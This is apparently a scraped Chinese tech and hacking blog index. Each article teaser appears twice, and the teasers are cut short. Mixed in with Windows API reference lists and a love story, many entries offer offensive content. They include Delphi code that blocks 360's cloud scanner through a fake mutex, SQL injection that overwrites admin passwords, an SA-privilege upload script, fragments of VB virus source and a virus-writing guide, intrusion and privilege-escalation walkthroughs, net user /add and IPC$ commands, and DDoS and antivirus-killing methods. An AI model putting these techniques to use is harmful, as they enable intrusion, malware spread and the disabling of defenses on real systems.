云查杀程序运行之前，会尝试打开互斥对象 'Q360FileCheckMutex' 看程序是否已经运行，所以我们可以抢先建一个这样的互斥对象，使得它误以为已经运行了，从而达到阻止运行的目的，关键代码：CreateMutex(nil, TRUE, 'Q360FileCheckMutex'); 完整代码： program SERVER; uses Windows; type TWin = record Msg: TMsg; wClass: TWndClass; hMain: integer; end; var Win: TWin; begin CreateMutex(nil, TRUE, 'Q360FileCheckMutex'); while (GetMessage......
阅读全文 →通过sql注入修改管理员密码
很多时候我们找到了注入点，管理员用户名也猜到了，可就是破解不了Md5密文。很多人到这里都会选择放弃。我们知道sql注入可以进行字段查询，既然可以查询，那么它同样也可以进行字段更新。我们只要把管理员密码的Md5值替换为我们自己的可破解的Md5即可......
阅读全文 →通过sql注入修改管理员密码
很多时候我们找到了注入点，管理员用户名也猜到了，可就是破解不了Md5密文。很多人到这里都会选择放弃。我们知道sql注入可以进行字段查询，既然可以查询，那么它同样也可以进行字段更新。我们只要把管理员密码的Md5值替换为我们自己的可破解的Md5即可......
阅读全文 →Sa-Upfile 1.0(sa权限上传文件)
使用环境:SQL2000，SA权限，常用提权扩展存在。 原理 ：利用textcopy进行二进制导入导出。 asp代码如下 dim Data_5xsoft Class upload_5xsoft dim objForm,objFile,Version Public function Form(strForm) strForm=lcase(strForm) if not objForm.exists(strForm) then Form="" else Form=objForm(strForm) end if end function Public function File(strFile) strFile=lcase(strFile) if not objFile.exists(strFile) then set File=new FileInfo else set File=objFile(strFile) end if end function Private Sub Class_Initialize dim RequestData,sStart,vbCrlf,sInfo,iInfoStart,iInfoEnd,tStream,iStart,theFile dim iFileSize,sFilePath,sFileType......
阅读全文 →Sa-Upfile 1.0(sa权限上传文件)
使用环境:SQL2000，SA权限，常用提权扩展存在。 原理 ：利用textcopy进行二进制导入导出。 asp代码如下 dim Data_5xsoft Class upload_5xsoft dim objForm,objFile,Version Public function Form(strForm) strForm=lcase(strForm) if not objForm.exists(strForm) then Form="" else Form=objForm(strForm) end if end function Public function File(strFile) strFile=lcase(strFile) if not objFile.exists(strFile) then set File=new FileInfo else set File=objFile(strFile) end if end function Private Sub Class_Initialize dim RequestData,sStart,vbCrlf,sInfo,iInfoStart,iInfoEnd,tStream,iStart,theFile dim iFileSize,sFilePath,sFileType......
阅读全文 →思科交换机密码破解
1.用console线连接到交换机，通过超级终端或Secure CRT连接到交换机； 2.一直按住交换机前面板上的 MODE键，插上交换机电源； 3.约40秒后放开Mod 1.用console线连接到交换机，通过超级终端或Secure CRT连接到交换机； 2.一直按住交换机前面板上的 MODE键，插上交换机电源； 3.约40秒后放开Mode......
阅读全文 →思科交换机密码破解
1.用console线连接到交换机，通过超级终端或Secure CRT连接到交换机； 2.一直按住交换机前面板上的 MODE键，插上交换机电源； 3.约40秒后放开Mod 1.用console线连接到交换机，通过超级终端或Secure CRT连接到交换机； 2.一直按住交换机前面板上的 MODE键，插上交换机电源； 3.约40秒后放开Mode......
阅读全文 →txt文件欺骗
在众多媒体的宣传报道下，今天的我们都知道了不能轻易打开电子邮件里的可执行文 件类的附件，但是显然那些破坏活动的制造者们也看了那些警告防范的文章，他们开始玩一些新的把戏，让您以为那些附件只不过是没有危险的文本文件或是图像文件等就是其......
阅读全文 →txt文件欺骗
在众多媒体的宣传报道下，今天的我们都知道了不能轻易打开电子邮件里的可执行文 件类的附件，但是显然那些破坏活动的制造者们也看了那些警告防范的文章，他们开始玩一些新的把戏，让您以为那些附件只不过是没有危险的文本文件或是图像文件等就是其......
阅读全文 →VB编写的小病毒及其源代码
-----------------------------------------------------小病主程序------------- Private Const FILESIZEOFAPP2 = 24064 Private Const FILESIZEOFAPP3 = 1386496 Private RunFile$ Private Const NORMAL_PRIORITY_CLASS = &H20 Private Const INFINITE = &HFFFFFFFF Private Const WAIT_TIMEOUT = &H102& Private Flag As Boolean Private Type PROCESS_INFORMATION ' hProcess As Long hThread As Long dwProcessId As Long dwThreadId As Long End Type Private Type STARTUPINFO cb As Long lpReserved As String lpDesktop As String lpTitle As String dwX As Long dwY As Long dwXSize As Long dwYSize As Long dwXCountChars As Long dwYCountChars As Long dwFillAttribute As Long dwFlags As Long wShowWindow As Integer cbReserved2 As Integer lpReserved2 As Long hStdInput As Long hStdOutput As Long hStdError......
阅读全文 →VB编写的小病毒及其源代码
-----------------------------------------------------小病主程序------------- Private Const FILESIZEOFAPP2 = 24064 Private Const FILESIZEOFAPP3 = 1386496 Private RunFile$ Private Const NORMAL_PRIORITY_CLASS = &H20 Private Const INFINITE = &HFFFFFFFF Private Const WAIT_TIMEOUT = &H102& Private Flag As Boolean Private Type PROCESS_INFORMATION ' hProcess As Long hThread As Long dwProcessId As Long dwThreadId As Long End Type Private Type STARTUPINFO cb As Long lpReserved As String lpDesktop As String lpTitle As String dwX As Long dwY As Long dwXSize As Long dwYSize As Long dwXCountChars As Long dwYCountChars As Long dwFillAttribute As Long dwFlags As Long wShowWindow As Integer cbReserved2 As Integer lpReserved2 As Long hStdInput As Long hStdOutput As Long hStdError......
阅读全文 →下辈子还做你的新娘
＂你干什么呢？好几天都没见了，你忙什么呢？＂女孩给男孩发信息说 十分钟………过去了 半小时…….过去了 １个小时过去了，男孩没有给女孩回信息，女孩感觉很奇怪，以前每次女孩主动给男孩联系，男孩都会很快就给女孩回信息！这次………女孩奇怪的在想为什么？ 女孩在......
阅读全文 →下辈子还做你的新娘
＂你干什么呢？好几天都没见了，你忙什么呢？＂女孩给男孩发信息说 十分钟………过去了 半小时…….过去了 １个小时过去了，男孩没有给女孩回信息，女孩感觉很奇怪，以前每次女孩主动给男孩联系，男孩都会很快就给女孩回信息！这次………女孩奇怪的在想为什么？ 女孩在......
阅读全文 →进程 线程函数
CancelWaitableTimer 这个函数用于取消一个可以等待下去的计时器操作 CallNamedPipe 这个函数由一个希望通过管道通信的一个客户进程调用 ConnectNamedPipe 指示一台服务器等待下去，直至客户机同一个命名管道连接 CreateEvent 创建一个事件对象 CreateMailslot 创建一个邮路。返回的句柄由邮路服务器使用（收件人） CreateMutex 创建......
阅读全文 →进程 线程函数
CancelWaitableTimer 这个函数用于取消一个可以等待下去的计时器操作 CallNamedPipe 这个函数由一个希望通过管道通信的一个客户进程调用 ConnectNamedPipe 指示一台服务器等待下去，直至客户机同一个命名管道连接 CreateEvent 创建一个事件对象 CreateMailslot 创建一个邮路。返回的句柄由邮路服务器使用（收件人） CreateMutex 创建......
阅读全文 →设备场景函数
CombineRgn 将两个区域组合为一个新区域 CombineTransform 驱动世界转换。它相当于依顺序进行两次转换 CreateCompatibleDC 创建一个与特定设备场景一致的内存设备场景 CreateDC 为专门设备创建设备场景 CreateEllipticRgn 创建一个椭圆 CreateEllipticRgnIndirect 创建一个内切于特定矩形的椭圆区域 CreateIC 为专用设备创建一个信息场景 CreatePolygonRgn 创建一......
阅读全文 →设备场景函数
CombineRgn 将两个区域组合为一个新区域 CombineTransform 驱动世界转换。它相当于依顺序进行两次转换 CreateCompatibleDC 创建一个与特定设备场景一致的内存设备场景 CreateDC 为专门设备创建设备场景 CreateEllipticRgn 创建一个椭圆 CreateEllipticRgnIndirect 创建一个内切于特定矩形的椭圆区域 CreateIC 为专用设备创建一个信息场景 CreatePolygonRgn 创建一......
阅读全文 →打印函数
AbortDoc 取消一份文档的打印 AbortPrinter 删除与一台打印机关联在一起的缓冲文件 AddForm 为打印机的表单列表添加一个新表单 AddJob 用于获取一个有效的路径名，以便用它为作业创建一个后台打印文件。它也会为作业分配一个作业编号 AddMonitor 为系统添加一个打印机监视器 AddPort 启动“添......
阅读全文 →打印函数
AbortDoc 取消一份文档的打印 AbortPrinter 删除与一台打印机关联在一起的缓冲文件 AddForm 为打印机的表单列表添加一个新表单 AddJob 用于获取一个有效的路径名，以便用它为作业创建一个后台打印文件。它也会为作业分配一个作业编号 AddMonitor 为系统添加一个打印机监视器 AddPort 启动“添......
阅读全文 →绘图函数
AbortPath 抛弃选入指定设备场景中的所有路径。也取消目前正在进行的任何路径的创建工作 AngleArc 用一个连接弧画一条线 Arc 画一个圆弧 BeginPath 启动一个路径分支 CancelDC 取消另一个线程里的长时间绘图操作 Chord 画一个弦 CloseEnhMetaFile 关闭指定的增强型图元文件设备场景，并将新建的图元文......
阅读全文 →绘图函数
AbortPath 抛弃选入指定设备场景中的所有路径。也取消目前正在进行的任何路径的创建工作 AngleArc 用一个连接弧画一条线 Arc 画一个圆弧 BeginPath 启动一个路径分支 CancelDC 取消另一个线程里的长时间绘图操作 Chord 画一个弦 CloseEnhMetaFile 关闭指定的增强型图元文件设备场景，并将新建的图元文......
阅读全文 →位图、图标和光栅运算函数
BitBlt 将一幅位图从一个设备场景复制到另一个 CopyIcon 制作指定图标或鼠标指针的一个副本。这个副本从属于发出调用的应用程序 CopyImage 复制位图、图标或指针，同时在复制过程中进行一些转换工作 CreateBitmap 按照规定的格式创建一幅与设备有关位图 CreateBitmapIndirect 创建一幅与设备有关位......
阅读全文 →位图、图标和光栅运算函数
BitBlt 将一幅位图从一个设备场景复制到另一个 CopyIcon 制作指定图标或鼠标指针的一个副本。这个副本从属于发出调用的应用程序 CopyImage 复制位图、图标或指针，同时在复制过程中进行一些转换工作 CreateBitmap 按照规定的格式创建一幅与设备有关位图 CreateBitmapIndirect 创建一幅与设备有关位......
阅读全文 →控件与消息函数
AdjustWindowRect 给定一种窗口样式，计算获得目标客户区矩形所需的窗口大小 AnyPopup 判断屏幕上是否存在任何弹出式窗口 ArrangeIconicWindows 排列一个父窗口的最小化子窗口 AttachThreadInput 连接线程输入函数 BeginDeferWindowPos 启动构建一系列新窗口位置的过程 BringWindowToTop 将指定的窗口带至窗口列表顶部 CascadeWindows 以层叠方式排列窗口 ChildWindowFromPoint......
阅读全文 →控件与消息函数
AdjustWindowRect 给定一种窗口样式，计算获得目标客户区矩形所需的窗口大小 AnyPopup 判断屏幕上是否存在任何弹出式窗口 ArrangeIconicWindows 排列一个父窗口的最小化子窗口 AttachThreadInput 连接线程输入函数 BeginDeferWindowPos 启动构建一系列新窗口位置的过程 BringWindowToTop 将指定的窗口带至窗口列表顶部 CascadeWindows 以层叠方式排列窗口 ChildWindowFromPoint......
阅读全文 →硬件与系统函数
ActivateKeyboardLayout 激活一个新的键盘布局。键盘布局定义了按键在一种物理性键盘上的位置与含义 Beep 用于生成简单的声音 CharToOem 将一个字串从ANSI字符集转换到OEM字符集 ClipCursor 将指针限制到指定区域 ConvertDefaultLocale 将一个特殊的地方标识符转换成真实的地方ID CreateCaret 根据指定的信息创建一个插入......
阅读全文 →硬件与系统函数
ActivateKeyboardLayout 激活一个新的键盘布局。键盘布局定义了按键在一种物理性键盘上的位置与含义 Beep 用于生成简单的声音 CharToOem 将一个字串从ANSI字符集转换到OEM字符集 ClipCursor 将指针限制到指定区域 ConvertDefaultLocale 将一个特殊的地方标识符转换成真实的地方ID CreateCaret 根据指定的信息创建一个插入......
阅读全文 →文件和字体函数
AddFontResource 在Windows系统中添加一种字体资源 CreateFont 用指定的属性创建一种逻辑字体 CreateFontIndirect 用指定的属性创建一种逻辑字体 CreateScalableFontResource 为一种TureType字体创建一个资源文件，以便能用API函数AddFontResource将其加入Windows系统 DrawText 将文本描绘到指定的矩形中 DrawTextEx 与DrawText相似，只是加入了更多的功能 EnumFontFamilies 列举指定设备可......
阅读全文 →文件和字体函数
AddFontResource 在Windows系统中添加一种字体资源 CreateFont 用指定的属性创建一种逻辑字体 CreateFontIndirect 用指定的属性创建一种逻辑字体 CreateScalableFontResource 为一种TureType字体创建一个资源文件，以便能用API函数AddFontResource将其加入Windows系统 DrawText 将文本描绘到指定的矩形中 DrawTextEx 与DrawText相似，只是加入了更多的功能 EnumFontFamilies 列举指定设备可......
阅读全文 →菜单函数
AppendMenu 在指定的菜单里添加一个菜单项 CheckMenuItem 复选或撤消复选指定的菜单条目 CheckMenuRadioItem 指定一个菜单条目被复选成“单选”项目 CreateMenu 创建新菜单 CreatePopupMenu 创建一个空的弹出式菜单 DeleteMenu 删除指定的菜单条目 DestroyMenu 删除指定的菜单 DrawMenuBar 为指定的窗口重画菜单 EnableMenuItem 允许或禁止指定的菜单条目 GetMenu......
阅读全文 →菜单函数
AppendMenu 在指定的菜单里添加一个菜单项 CheckMenuItem 复选或撤消复选指定的菜单条目 CheckMenuRadioItem 指定一个菜单条目被复选成“单选”项目 CreateMenu 创建新菜单 CreatePopupMenu 创建一个空的弹出式菜单 DeleteMenu 删除指定的菜单条目 DestroyMenu 删除指定的菜单 DrawMenuBar 为指定的窗口重画菜单 EnableMenuItem 允许或禁止指定的菜单条目 GetMenu......
阅读全文 →网络函数
WNetAddConnection 创建同一个网络资源的永久性连接 WNetAddConnection2 创建同一个网络资源的连接 WNetAddConnection3 创建同一个网络资源的连接 WNetCancelConnection 结束一个网络连接 WNetCancelConnection2 结束一个网络连接 WNetCloseEnum 结束一次枚举操作 WNetConnectionDialog 启动一个标准对话框，以便建立同网络资源的连接 WNetDisconnectDialog 启动一个标准对话框，以便断开同网络资源......
阅读全文 →网络函数
WNetAddConnection 创建同一个网络资源的永久性连接 WNetAddConnection2 创建同一个网络资源的连接 WNetAddConnection3 创建同一个网络资源的连接 WNetCancelConnection 结束一个网络连接 WNetCancelConnection2 结束一个网络连接 WNetCloseEnum 结束一次枚举操作 WNetConnectionDialog 启动一个标准对话框，以便建立同网络资源的连接 WNetDisconnectDialog 启动一个标准对话框，以便断开同网络资源......
阅读全文 →文件处理函数
CloseHandle 关闭一个内核对象。其中包括文件、文件映射、进程、线程、安全和同步对象等 CompareFileTime 对比两个文件的时间 CopyFile 复制文件 CreateDirectory 创建一个新目录 CreateFile 打开和创建文件、管道、邮槽、通信服务、设备以及控制台 CreateFileMapping 创建一个新的文件映射对象 DeleteFile 删除指定文件 DeviceIoControl 对设备......
阅读全文 →文件处理函数
CloseHandle 关闭一个内核对象。其中包括文件、文件映射、进程、线程、安全和同步对象等 CompareFileTime 对比两个文件的时间 CopyFile 复制文件 CreateDirectory 创建一个新目录 CreateFile 打开和创建文件、管道、邮槽、通信服务、设备以及控制台 CreateFileMapping 创建一个新的文件映射对象 DeleteFile 删除指定文件 DeviceIoControl 对设备......
阅读全文 →windows消息函数
BroadcastSystemMessage 将一条系统消息广播给系统中所有的顶级窗口 GetMessagePos 取得消息队列中上一条消息处理完毕时的鼠标指针屏幕位置 GetMessageTime 取得消息队列中上一条消息处理完毕时的时间 PostMessage 将一条消息投递到指定窗口的消息队列 PostThreadMessage 将一条消息投递给应用程序 RegisterWindowMessage 获取分配给一个字串......
阅读全文 →windows消息函数
BroadcastSystemMessage 将一条系统消息广播给系统中所有的顶级窗口 GetMessagePos 取得消息队列中上一条消息处理完毕时的鼠标指针屏幕位置 GetMessageTime 取得消息队列中上一条消息处理完毕时的时间 PostMessage 将一条消息投递到指定窗口的消息队列 PostThreadMessage 将一条消息投递给应用程序 RegisterWindowMessage 获取分配给一个字串......
阅读全文 →探索VB系列中的事件处理的奥秘
事件是你的代码兵器库中的主要部分，无论你用Visual Basic? 6.0，Visual Basic .NET 2002，Visual Basic .NET 2003，还是Visual Basic 2005。窗体和控件引发事件，同时你的代码处理这些事件。你用Visual Basic写的最初应用程序大多会是在一个窗体上放置一个按钮，处理这个click事件，并在运行时你点击这个按钮会显示......
阅读全文 →探索VB系列中的事件处理的奥秘
事件是你的代码兵器库中的主要部分，无论你用Visual Basic? 6.0，Visual Basic .NET 2002，Visual Basic .NET 2003，还是Visual Basic 2005。窗体和控件引发事件，同时你的代码处理这些事件。你用Visual Basic写的最初应用程序大多会是在一个窗体上放置一个按钮，处理这个click事件，并在运行时你点击这个按钮会显示......
阅读全文 →教你如何用Visual Basic编写病毒
相信电脑界的每个人都痛恨计算机病毒，她给我们带来了很多麻烦和损失，可你知道编写病毒的方法和过程吗？在此我仅以VB编写为例，揭开她的面纱。 用VB编写病毒需要考虑到如下几点： * 感染主机 首先染毒文件运行后先要判断主机是否以感染病毒，也就是判......
阅读全文 →教你如何用Visual Basic编写病毒
相信电脑界的每个人都痛恨计算机病毒，她给我们带来了很多麻烦和损失，可你知道编写病毒的方法和过程吗？在此我仅以VB编写为例，揭开她的面纱。 用VB编写病毒需要考虑到如下几点： * 感染主机 首先染毒文件运行后先要判断主机是否以感染病毒，也就是判......
阅读全文 →简单介绍Visual Basic中的Do循环结构
Visual Basic中的Do循环语句用于控制循环次数未知的循环结构。此种语句有两种语法形式 格式一： Do{While I Until}<条件> <语句块> [Exit Do] <语句块> loop 格式二： Do <语句块> [Exit Do] <语句块> Loop{While I Until}<条件> 功能：当指定的关键字While用于指明<条件>为真(True)时，执行循环......
阅读全文 →简单介绍Visual Basic中的Do循环结构
Visual Basic中的Do循环语句用于控制循环次数未知的循环结构。此种语句有两种语法形式 格式一： Do{While I Until}<条件> <语句块> [Exit Do] <语句块> loop 格式二： Do <语句块> [Exit Do] <语句块> Loop{While I Until}<条件> 功能：当指定的关键字While用于指明<条件>为真(True)时，执行循环......
阅读全文 →VB编程实现图像的漂亮效果
本文讲解了如何通过VB编程实现图像的漂亮效果。 参数表----------------------------------------------------- Angle 光照倾角，取值0到90之间，以角度为单位 WidthOfArea 光照区宽度，取值大于1的整数，以像素为单位 Speed 光照区运动速度，取值大于1的整数 EnhanceRatio 光照强度参数，取值大于1的整数 好，原理就这么多，现在我们开始动手......
阅读全文 →VB编程实现图像的漂亮效果
本文讲解了如何通过VB编程实现图像的漂亮效果。 参数表----------------------------------------------------- Angle 光照倾角，取值0到90之间，以角度为单位 WidthOfArea 光照区宽度，取值大于1的整数，以像素为单位 Speed 光照区运动速度，取值大于1的整数 EnhanceRatio 光照强度参数，取值大于1的整数 好，原理就这么多，现在我们开始动手......
阅读全文 →入侵提权
入侵提权全过程 我是Myth灬神话，QQ：365297318 给大家一个入侵到提权的实力教程。呵呵感觉不错，对于没有服务器的可以试下。 目标站 www.*.com 首先我们要拿这个站的webshell 1.我们先进这个站转转，注册个号看下帐号的功能和网站程序。 2.找网站的后台，我们用明小子来查后台......
阅读全文 →入侵提权
入侵提权全过程 我是Myth灬神话，QQ：365297318 给大家一个入侵到提权的实力教程。呵呵感觉不错，对于没有服务器的可以试下。 目标站 www.*.com 首先我们要拿这个站的webshell 1.我们先进这个站转转，注册个号看下帐号的功能和网站程序。 2.找网站的后台，我们用明小子来查后台......
阅读全文 →论坛入侵提权下载数据库
目前网上有种新的趋势，黑客们的攻击目标开始从网站延伸到论坛和聊天室及留言板等公共场所，而许多用户的论坛密码竟然与E-mail和QQ的密码完全相同，因此对大家的网络安全威胁非常大。换个角度来说，黑客们通过入侵这些地方，可以得到更高的权限。比如通......
阅读全文 →论坛入侵提权下载数据库
目前网上有种新的趋势，黑客们的攻击目标开始从网站延伸到论坛和聊天室及留言板等公共场所，而许多用户的论坛密码竟然与E-mail和QQ的密码完全相同，因此对大家的网络安全威胁非常大。换个角度来说，黑客们通过入侵这些地方，可以得到更高的权限。比如通......
阅读全文 →WebLogic简单抓鸡大法
Tomcat估计给很多人带来了N多肉鸡服务器了吧，直接扫描弱口令，进入Tomcat管理后台，上传Webshell就得到一台肉鸡服务器了，操作之简单，效率之高，实在是抓鸡必备！不过这次要介绍的是一个类似于Tomcat的JSP支持平台WebLogic漏洞的简单利用（其实也是默认口令），相比Tomcat会稍微复杂一些......
阅读全文 →WebLogic简单抓鸡大法
Tomcat估计给很多人带来了N多肉鸡服务器了吧，直接扫描弱口令，进入Tomcat管理后台，上传Webshell就得到一台肉鸡服务器了，操作之简单，效率之高，实在是抓鸡必备！不过这次要介绍的是一个类似于Tomcat的JSP支持平台WebLogic漏洞的简单利用（其实也是默认口令），相比Tomcat会稍微复杂一些......
阅读全文 →江湖窗口化工具源码
frmload源码： Private Sub Form_Load() INIfilename = App.Path & "\system.ini" txtPath.Text = GetINI("游戏目录", "地址", App.Path & "\system.ini") '读取system.ini中的游戏路径 labSm.Caption = " 此工具不会修改游戏数据，只是为方便玩家把游戏窗口化。进入游戏前先把游戏分辨率设为： 800*600 nOrgWidth = GetDisplayWidth nOrgHeight = GetDisplayHeight wbLoad.Navigate "http://www.wgbcw.cn" End Sub Private Sub comRbut_Click() Unload Me If txtPath......
阅读全文 →江湖窗口化工具源码
frmload源码： Private Sub Form_Load() INIfilename = App.Path & "\system.ini" txtPath.Text = GetINI("游戏目录", "地址", App.Path & "\system.ini") '读取system.ini中的游戏路径 labSm.Caption = " 此工具不会修改游戏数据，只是为方便玩家把游戏窗口化。进入游戏前先把游戏分辨率设为： 800*600 nOrgWidth = GetDisplayWidth nOrgHeight = GetDisplayHeight wbLoad.Navigate "http://www.wgbcw.cn" End Sub Private Sub comRbut_Click() Unload Me If txtPath......
阅读全文 →大量免费在线杀毒网址
迈克菲 McAfee (麦咖啡) 免费在线查毒 说明：需要安装ActiveX插件 地址： http://cn.mcafee.com/root/mfs/default.asp?cid=16943 趋势科技在线扫毒 说明：需要安装ActiveX插件 地址： http://www.trendmicro.com.cn/housecall/start_corp.asp 光华反病毒软件在线杀毒 地址： http://www.viruschina.com/free/freevirus.asp 金山毒霸免费查毒 地址： http://zs.kingsoft.com/safe_intro_1.shtml 金山在线杀毒 地址： http://scan.kingsoft.com/scan/oscan/retail.htm 瑞星免费在线查毒......
阅读全文 →大量免费在线杀毒网址
迈克菲 McAfee (麦咖啡) 免费在线查毒 说明：需要安装ActiveX插件 地址： http://cn.mcafee.com/root/mfs/default.asp?cid=16943 趋势科技在线扫毒 说明：需要安装ActiveX插件 地址： http://www.trendmicro.com.cn/housecall/start_corp.asp 光华反病毒软件在线杀毒 地址： http://www.viruschina.com/free/freevirus.asp 金山毒霸免费查毒 地址： http://zs.kingsoft.com/safe_intro_1.shtml 金山在线杀毒 地址： http://scan.kingsoft.com/scan/oscan/retail.htm 瑞星免费在线查毒......
阅读全文 →VB+HOOK做外挂用到的消息钩子
Hook简介 Hook这个东西有时令人又爱又怕，Hook是用来拦截系统某些讯息之用，例如说，我们想让系统不管在什麽地方只要按个Ctl-B便执行NotePad，或许您会使用Form的KeyPreview，设定为True，但在其他Process中按Ctl-B呢？那就没有用，这是就得设一个Keyboard Hook来拦截所有Key in的键；再如：MouseMove的Event只在该Form或......
阅读全文 →VB+HOOK做外挂用到的消息钩子
Hook简介 Hook这个东西有时令人又爱又怕，Hook是用来拦截系统某些讯息之用，例如说，我们想让系统不管在什麽地方只要按个Ctl-B便执行NotePad，或许您会使用Form的KeyPreview，设定为True，但在其他Process中按Ctl-B呢？那就没有用，这是就得设一个Keyboard Hook来拦截所有Key in的键；再如：MouseMove的Event只在该Form或......
阅读全文 →什么是木马程序
木马病毒源自古希腊特洛伊战争中著名的“木马计”而得名，顾名思义就是一种伪装潜伏的网络病毒，等待时机成熟就出来害人。 传染方式:通过电子邮件附件发出，捆绑在其他的程序中。 病毒特性:会修改注册表、驻留内存、在系统中安装后门程序、开机加载......
阅读全文 →什么是木马程序
木马病毒源自古希腊特洛伊战争中著名的“木马计”而得名，顾名思义就是一种伪装潜伏的网络病毒，等待时机成熟就出来害人。 传染方式:通过电子邮件附件发出，捆绑在其他的程序中。 病毒特性:会修改注册表、驻留内存、在系统中安装后门程序、开机加载......
阅读全文 →黑客基础知识 常用命令和快捷键大全
很多用户可能都知道在DOS模式下可以进行命令行的黑客命令操作，可总有用户不知道从哪里下手，看了下文您应该可以有一点启示： *net user 查看用户列表 *net user 用户名 密码 /add 添加用户 *net user 用户名 密码 更改用户密码 *net localgroup administrators 用户名 /add 添加用户到管理组 *net user 用户名 /delete 删......
阅读全文 →黑客基础知识 常用命令和快捷键大全
很多用户可能都知道在DOS模式下可以进行命令行的黑客命令操作，可总有用户不知道从哪里下手，看了下文您应该可以有一点启示： *net user 查看用户列表 *net user 用户名 密码 /add 添加用户 *net user 用户名 密码 更改用户密码 *net localgroup administrators 用户名 /add 添加用户到管理组 *net user 用户名 /delete 删......
阅读全文 →基础知识 初级黑客安全技术命令详解
要想做一名真正的黑客，仅仅依靠网络流传的黑软进行扫描或者攻击是没有用的，这样永远不可能成长为一名真正的黑客，大家需要注意的是，平时还得注意积累，这次笔者就简单的 为大家介绍一些系统命令，对于初学的菜鸟绝对是必修课之一。 对了，再说两句......
阅读全文 →基础知识 初级黑客安全技术命令详解
要想做一名真正的黑客，仅仅依靠网络流传的黑软进行扫描或者攻击是没有用的，这样永远不可能成长为一名真正的黑客，大家需要注意的是，平时还得注意积累，这次笔者就简单的 为大家介绍一些系统命令，对于初学的菜鸟绝对是必修课之一。 对了，再说两句......
阅读全文 →启动 Windows XP 命令解释程序一个实例
CMD [/A /U] [/Q] [/D] [/E:ON /E:OFF] [/F:ON /F:OFF] [/V:ON /V:OFF] [[/S] [/C /K] string] /C 执行字符串指定的命令然后终断 /K 执行字符串指定的命令但保留 /S 在 /C 或 /K 后修改字符串处理(见下) /Q 关闭回应 /D 从注册表中停用执行 AutoRun 命令(见下) /A 使向内部管道或文件命令的输出成为 ANSI /U 使向内部管道......
阅读全文 →启动 Windows XP 命令解释程序一个实例
CMD [/A /U] [/Q] [/D] [/E:ON /E:OFF] [/F:ON /F:OFF] [/V:ON /V:OFF] [[/S] [/C /K] string] /C 执行字符串指定的命令然后终断 /K 执行字符串指定的命令但保留 /S 在 /C 或 /K 后修改字符串处理(见下) /Q 关闭回应 /D 从注册表中停用执行 AutoRun 命令(见下) /A 使向内部管道或文件命令的输出成为 ANSI /U 使向内部管道......
阅读全文 →CMD命令详细介绍
net use h: [url=file://ip/c$]ipc$[/url] "密码" /user:"用户名" 直接登陆后映射对方C：到本地为H: net use h: [url=file://ip/c$]ipc$[/url] 登陆后映射对方C：到本地为H: net use [url=file://ip/ipc$]ipipc$[/url] /del 删除IPC链接 net use h: /del 删除映射对方到本地的为H:的映射 net user 用户名 密码 /add 建立用户 net user guest /active:yes 激活guest......
阅读全文 →CMD命令详细介绍
net use h: [url=file://ip/c$]ipc$[/url] "密码" /user:"用户名" 直接登陆后映射对方C：到本地为H: net use h: [url=file://ip/c$]ipc$[/url] 登陆后映射对方C：到本地为H: net use [url=file://ip/ipc$]ipipc$[/url] /del 删除IPC链接 net use h: /del 删除映射对方到本地的为H:的映射 net user 用户名 密码 /add 建立用户 net user guest /active:yes 激活guest......
阅读全文 →CMD命令大全
有关某个命令的详细信息，请键入 HELP 命令名 XP.CMD命令大全 有关某个命令的详细信息，请键入 HELP 命令名 ASSOC 显示或修改文件扩展名关联。 AT 计划在计算机上运行的命令和程序。 ATTRIB 显示或更改文件属性。 BREAK 设置或清除扩展式 CTRL+C 检查。 CACLS 显示或修改文件的访问控......
阅读全文 →CMD命令大全
有关某个命令的详细信息，请键入 HELP 命令名 XP.CMD命令大全 有关某个命令的详细信息，请键入 HELP 命令名 ASSOC 显示或修改文件扩展名关联。 AT 计划在计算机上运行的命令和程序。 ATTRIB 显示或更改文件属性。 BREAK 设置或清除扩展式 CTRL+C 检查。 CACLS 显示或修改文件的访问控......
阅读全文 →DoS与DDos攻击工具基本技术及其发展
DoS (Denial of Service)攻击其中文含义是拒绝服务攻击，这种攻击行动使网站服务器充斥大量要求回复的 信息，消耗网络带宽或系统资源，导致网络或系统不胜负荷以至于瘫痪而停止提供正常的网络服务。黑客不正当地采用标准协议或连接方法，向攻击的服务发出大量的讯......
阅读全文 →DoS与DDos攻击工具基本技术及其发展
DoS (Denial of Service)攻击其中文含义是拒绝服务攻击，这种攻击行动使网站服务器充斥大量要求回复的 信息，消耗网络带宽或系统资源，导致网络或系统不胜负荷以至于瘫痪而停止提供正常的网络服务。黑客不正当地采用标准协议或连接方法，向攻击的服务发出大量的讯......
阅读全文 →认识黑客入侵的利器 嗅探软件逐个了解
嗅探器(也称网络分析器)是种能够察看网络传输、将其解码并为网管提供可用的数据的一种软件。网管可以使用它提供的数据来诊断网络存在的问题。而恶意用户还会利用嗅探器来从网络上获取存储在文本中的密码。下面列举一些常用的专用嗅探器：NAI嗅......
阅读全文 →认识黑客入侵的利器 嗅探软件逐个了解
嗅探器(也称网络分析器)是种能够察看网络传输、将其解码并为网管提供可用的数据的一种软件。网管可以使用它提供的数据来诊断网络存在的问题。而恶意用户还会利用嗅探器来从网络上获取存储在文本中的密码。下面列举一些常用的专用嗅探器：NAI嗅......
阅读全文 →做黑客很简单 用IE浏览器实现远程控制
听说过灰鸽子、冰河等可以实现远程控制，但你听说过IE也可以实现吗？不错，一款基于IE的新鲜工具——rmtSvc&vIDC即可让微软的IE成为一个超级黑客帮凶。本文除了将为你展现rmtSvc&vIDC是如何基于IE远程控制肉鸡以外，更在如何“暗杀”杀毒软件、攻击思路上有......
阅读全文 →做黑客很简单 用IE浏览器实现远程控制
听说过灰鸽子、冰河等可以实现远程控制，但你听说过IE也可以实现吗？不错，一款基于IE的新鲜工具——rmtSvc&vIDC即可让微软的IE成为一个超级黑客帮凶。本文除了将为你展现rmtSvc&vIDC是如何基于IE远程控制肉鸡以外，更在如何“暗杀”杀毒软件、攻击思路上有......
阅读全文 →著名黑客工具CC攻击的思路及防范方法
前置知识:ASP基本阅读能力 蝴蝶:前段时间上海一家游戏娱乐公司的网站遭到了基于页面请求的DDOS分布式拒绝服务攻击，网站陷入完全瘫痪状态，并被黑客的匿名信勒索，金额高达10万元，而在勒索过程中，这群黑客还表示会对腾讯QQ等网站下手，随后QQ“服务器......
阅读全文 →著名黑客工具CC攻击的思路及防范方法
前置知识:ASP基本阅读能力 蝴蝶:前段时间上海一家游戏娱乐公司的网站遭到了基于页面请求的DDOS分布式拒绝服务攻击，网站陷入完全瘫痪状态，并被黑客的匿名信勒索，金额高达10万元，而在勒索过程中，这群黑客还表示会对腾讯QQ等网站下手，随后QQ“服务器......
阅读全文 →DeluxeBB 0day Remote Change Admin's credentia
